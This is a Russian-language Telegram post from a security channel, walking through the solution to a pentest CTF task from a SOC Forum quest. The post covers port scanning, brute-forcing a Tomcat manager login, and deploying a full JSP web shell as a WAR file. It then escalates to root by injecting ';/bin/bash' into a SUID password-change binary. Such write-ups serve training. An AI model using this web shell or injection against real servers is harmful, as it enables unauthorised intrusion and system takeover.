TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #11 1.51K
🔍 Взятие флагов по пентесту на квесте Solar 4RAYS на SOC FORUM

О чём речь
8 ноября на SOC Forum мы предложили вам попробовать свои силы в решении задач по пентесту, форензике и OSINT. Сегодня делимся с вами ответом на задание по пентесту.

Легенда
:
Компания X внедрила в свою инфраструктуру контейнер сервлетов, основанный на Apache Tomcat. Этот контейнер позволяет тестировать, отлаживать и запускать веб-приложения, написанные на Java. Сможешь проверить, насколько надежно защищена эта система?

Цель:
Получи root-доступ к серверу и собери все 3 флага.

Сервер для исследования:
195.19.96.163

В случае, если виртуальная машина недоступна, второй сервер: 195.19.96.166


Разберем сценарий квеста, где будем проводить сканирование, изучать уязвимости Tomcat, загружать Web shell, а также повышать привилегии для получения всех флагов.

1️⃣ Сканирование портов

Для начала проводим сканирование на наличие открытых портов с помощью инструмента nmap:

sudo nmap --top-ports 1000 -A -sS -sV --open 195.19.96.163 -Pn


Обнаруживаем два открытых TCP-порта:
22 – SSH сервис, уязвимостей не найдено.
8080 – сервис Tomcat.

2️⃣ Изучение Tomcat

Поиск по открытым источникам уязвимостей для обнаруженной версии Tomcat не дал результатов. Однако можно предположить наличие стандартных учетных данных. С помощью модуля auxiliary/scanner/http/tomcat_mgr_login в Metasploit удалось подобрать учетную запись: manager:password1.

Теперь мы в панели администрирования Tomcat и можем загрузить WAR файл. По инструкции ниже создаем Web shell.

3️⃣ Создание и загрузка Web shell

Устанавливаем JDK для использования команды jar:

sudo apt install default-jdk


Создаем файл index.jsp с кодом для Web shell:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>


Далее:
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *


Загружаем файл и получаем возможность выполнять команды через Web shell. В директории /opt/tomcat8/ находим файл flag1.txt с первым флагом.

4️⃣ Повышение привилегий

Ищем способы подключения к хосту. В директории /opt/tomcat8/conf/ обнаруживаем tomcat-users.xml с учетной записью john:wj36Hn2P1rS4vLwSHM.

Подключаемся по SSH под пользователем john и находим второй флаг в его домашней директории.

ssh john@195.19.96.163


Находим папку .script с файлом change-pass, предназначенным для смены паролей пользователей. Этот файл принадлежит root и группе help, и имеет SUID-бит. Пользователь john состоит в группе help.

Используем команды для проверки прав и состава файла:
find / -perm -u=s -type f 2>/dev/null
ls -la /home/john/.script/change-pass
id john
cat /home/john/.script/change-pass.c


С помощью команды /home/john/.script/change-pass "user;/bin/bash" получаем привилегии root.

Далее находим финальный флаг в директории root:
cat /root/.flag3.txt


🎉 Поздравляем! Все этапы пройдены, и флаги успешно собраны.
  • ⚡ 17
  • 👍 8
  • ✍ 6
  • ❤ 1
  • 🐳 1
  • 👾 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →